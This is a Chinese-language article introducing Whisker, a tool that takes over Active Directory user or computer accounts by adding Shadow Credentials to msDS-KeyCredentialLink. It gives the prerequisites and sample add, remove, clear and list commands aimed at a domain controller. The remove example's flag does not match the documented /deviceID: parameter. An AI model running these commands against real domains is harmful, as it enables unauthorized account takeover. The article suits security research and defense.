如何使用Whisker接管活動目錄用戶或計算機賬號
關于Whisker
Whisker是一款基于C#開發的工具,可以通過篡改目標賬號的msDS-KeyCredentialLink或添加“Shadow Credentials”來實現活動目錄用戶或計算機賬號的接管。
該工具主要基于DSInternals項目代碼實現其功能。
為了保證攻擊能夠成功,環境必須為運行了最新版本Windows Server 2016的域控制器,而且域控制器必須擁有一個服務器認證證書以支持PKINIT Kerberos認證。
工具下載
廣大研究人員可以使用下列命令將該項目源碼克隆至本地,并進行代碼構建:
- git clone https://github.com/eladshamir/Whisker.git
工具使用
向目標對象的msDS-KeyCredentialLink屬性添加一個新的值:
- /target:
:必須。設置目標名稱,計算機對象必須以“$”結尾。 - /domain:
:可選。設置目標全限定域名(FQDN),如果不提供該值,工具將會嘗試解析當前用戶的FQDN。 - /dc:
:可選。設置目標域控制器(DC),如果不提供該值,工具將會嘗試攻擊主域控制器(PDC)。 - /path:
:可選。設置存儲生成的自簽名證書的路徑,如果不提供該值,證書將會以Base64格式打印。 - /password:
:可選。設置已存儲自簽名證書的密碼,如果不提供該值,將會生成隨機密碼。
使用樣例:
- Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
從目標對象的msDS-KeyCredentialLink屬性移除一個值:
- /target:
:必須。設置目標名稱,計算機對象必須以“$”結尾。 - /deviceID:
: 必須。設置目標對象msDS-KeyCredentialLink屬性待移除值的DeviceID,必須是一個有效的GUID。 - /domain:
: 可選。設置目標全限定域名(FQDN),如果不提供該值,工具將會嘗試解析當前用戶的FQDN。 - /dc:
:可選。設置目標域控制器(DC),如果不提供該值,工具將會嘗試攻擊主域控制器(PDC)。
使用樣例:
- Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
清除目標對象msDS-KeyCredentialLink屬性的所有值:
- /target:
:必須。設置目標名稱,計算機對象必須以“$”結尾。 - /domain:
:可選。設置目標全限定域名(FQDN),如果不提供該值,工具將會嘗試解析當前用戶的FQDN。 - /dc:
:可選。設置目標域控制器(DC),如果不提供該值,工具將會嘗試攻擊主域控制器(PDC)。
使用樣例:
- Whisker.exe clear /target:computername$ /domain:constoso.local /dc:dc1.contoso.local
輸出目標對象msDS-KeyCredentialLink屬性的所有值:
- /target:
:必須。設置目標名稱,計算機對象必須以“$”結尾。 - /domain:
:可選。設置目標全限定域名(FQDN),如果不提供該值,工具將會嘗試解析當前用戶的FQDN。 - /dc:
:可選。設置目標域控制器(DC),如果不提供該值,工具將會嘗試攻擊主域控制器(PDC)。
使用樣例:
- Whisker.exe list /target:computername$ /domain:constoso.local /dc:dc1.contoso.local
項目地址
Whisker:【GitHub傳送門】